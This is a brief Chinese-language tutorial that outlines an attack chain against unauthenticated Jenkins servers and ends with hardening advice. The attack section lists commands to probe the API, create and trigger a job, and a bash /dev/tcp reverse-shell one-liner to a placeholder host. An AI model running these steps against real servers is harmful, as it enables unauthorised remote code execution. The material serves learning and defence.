Jenkins 未授权访问到代码执行完整利用链:发现/确认/创建Job/执行脚本/反弹Shell,含防御加固。
写在前面:合法学习边界
Jenkins 攻击只在授权测试环境进行。对非授权 Jenkins 实例进行攻击可能触犯法律。
一、Jenkins 利用链

1
| ① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell
|
二、利用步骤
1
2
3
4
5
6
7
8
9
10
11
12
| # 确认未授权
curl -s http://target:8080/api/json
# 创建 Job(POST /createItem?name=exploit)
# Content-Type: text/xml
# body: <com.cloudbees....>
# 触发执行
POST http://target:8080/job/exploit/build
# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1
|
三、防御加固
1
2
3
| 启用 Jenkins 认证 · 网络隔离(不暴露公网)
启用 CSRF Protection · 限制 /api/* 访问
升级最新版本 · 审计 API 调用日志
|
四、小结
Jenkins 未授权 = 服务器 RCE。防御核心是认证 + 网络隔离 + CSRF 防护。